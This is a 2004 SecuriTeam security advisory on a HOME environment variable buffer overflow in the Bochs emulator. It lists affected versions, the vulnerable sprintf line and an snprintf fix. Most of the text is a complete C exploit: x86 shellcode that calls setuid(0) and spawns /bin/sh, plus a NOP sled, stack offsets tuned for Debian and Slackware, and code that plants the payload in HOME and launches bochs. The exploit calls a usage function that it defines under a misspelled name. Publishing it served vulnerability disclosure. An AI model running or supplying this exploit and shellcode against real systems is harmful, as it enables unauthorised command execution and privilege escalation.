

[UNIX] Bochs HOME Environment Variable Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-02/0070.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 02/25/04

To: list@securiteam.com

Date: 25 Feb 2004 15:49:52 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Bochs HOME Environment Variable Buffer Overflow

SUMMARY

" <<http://bochs.sourceforge.net/>> Bochs is a highly portable open source IA-32 (x86) PC emulator written in C++, that runs on most popular platforms. It includes emulation of the Intel x86 CPU, common I/O devices, and a custom BIOS. Currently, Bochs can be compiled to emulate a 386, 486, Pentium, Pentium Pro or AMD64 CPU, including optional MMX, SSE, SSE2 and 3DNow instructions."

A vulnerability in Bochs allows a malicious user to execute arbitrary commands with Bochs' permissions.

DETAILS

Vulnerable Systems:

* Bochs versions 2.0.1, 2.0.2, 2.1.pre1, 2.1.pre2 & 2.1

Immune Systems:

* Bochs version 2.1.1

A malicious local user can specify a long HOME environment variable, and

Securiteam: [UNIX] Bochs HOME Environment Variable Buffer Overflow

execute arbitrary commands with Bochs' premissions. By default Bochs is not suid. If none of the following files are found in the known path: bochsrc, bochsrc, bochsrc.txt Bochs looks for \$HOME/.bochsrc, in this case \$HOME can be overflowed.

Vulnerable Code:

The vulnerability lies in the following line:
if (ptr) sprintf (rcfile, "%s/.bochsrc", ptr);

Workaround:

if (ptr) snprintf (rcfile, 512, "%s/.bochsrc", ptr);

Vendor Status:

The vulnerability was fixed in

<http://sourceforge.net/project/showfiles.php?group_id=12580&release_id=215733> bochs-2.1.1

Exploit Code:

Below is an exploit code with an offset for Slackware 8.1

```
/*
 *
 * The overflow happens when program does not find these files:
 * .bochsrc, bochsrc, bochsrc.txt
 *
 * Exploit created: 28/12/2003
 *
 * Tested Vulnerable Versions: bochs- 2.0.1, 2.0.2, 2.1.pre1, 2.1.pre2 y
 2.1
 *
 * NOTA: Si el programa no esta +s no nos aparecera ninguna shell pq falla
 * la funcion setuid(0), si kereis podeis comentar esa parte de la
 shellcode
 * para hacer pruebas y funcionara perfectamente.
 *
 * debian 3.0 gcc 2.95.4 kernel 2.4.24 offset: 1270
 * debian 3.0 gcc 2.95.4 kernel 2.2.20 offset: 1000
 * slack 8.1 gcc 2.95.3 kernel 2.6.0 offset: 1970
 *
 * Contact: sesox (at) govannom (dot) org
 * WebSite: http://www.govannom.org
 */
```

```
#include <stdio.h>
#include <unistd.h>
#include <getopt.h>
```

```
static char shellcode[]=
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0)
// "\x31\xc0\xb0\x2e\xcd\x80" //setgid(0)
    "\x31\xc9\x31\xd2\x51\x68\x6e\x2f"
    "\x73\x68\x68\x2f\x2f\x62\x69\x89"
```

Securiteam: [UNIX] Bochs HOME Environment Variable Buffer Overflow

```
"\xe3\x51\x53\x89\xe1\xb0\x0b\xcd"
"\x80\x31\xc0\xb0\x01\xcd\x80";

char *get_sp() {
    asm("movl %esp,%eax");
}

#define BSIZE 512 // Tama?o de la variable que vamos a desbordar
#define NOP 0x90

main(int argc, char *argv[]){

int opt,offset;
char buffer[BSIZE+8]; //Tama?o desde el principio de la variable asta la
return address
char *ret,*path;

// Inicializamos valores por defecto (slackware 8.1)
offset = 1970;
path = "/usr/local/bin/bochs";

// Recogemos parametros del programa
while((opt = getopt(argc,argv,"p:o:h:")) != -1) {

switch(opt) {

case 'o':
offset=atoi(optarg);
break;

case 'p':
path=optarg;
break;

default:
usage(argv[0]);
break;
}
}

// Obtenemos la direccion de retorno
ret = get_sp()+offset;

printf("Stack init: %x\n", get_sp());
printf("ret: %x\n", ret);

memset(buffer,NOP,sizeof(buffer));
memcpy(buffer+(BSIZE-strlen(shellcode)), (char *)&shellcode,
strlen(shellcode));
memcpy(buffer+(sizeof(buffer)-4), (char *)&ret, 4);
```

Securiteam: [UNIX] Bochs HOME Environment Variable Buffer Overflow

```
if(setenv("HOME", buffer, 1)==-1){
    printf("\n\tError: Can not put buffer in HOME variable.\n\n");
    exit(0);
}

if(execl(path,path,NULL)==-1){
    printf("\n\tError: Can not execute bochs. Verify if the path is
correct.\n\n");
    exit(0);
}
}

int ussage(char *arg) {
printf("\n\t.: Stack overflow exploit for bochs (by SeSoX) :. \n");
printf("\n\tUssage:\n\t %s -p < path> -o < offset>\n\n",arg);
exit(-1);
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:sesox@govannom.org> SeSoX.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.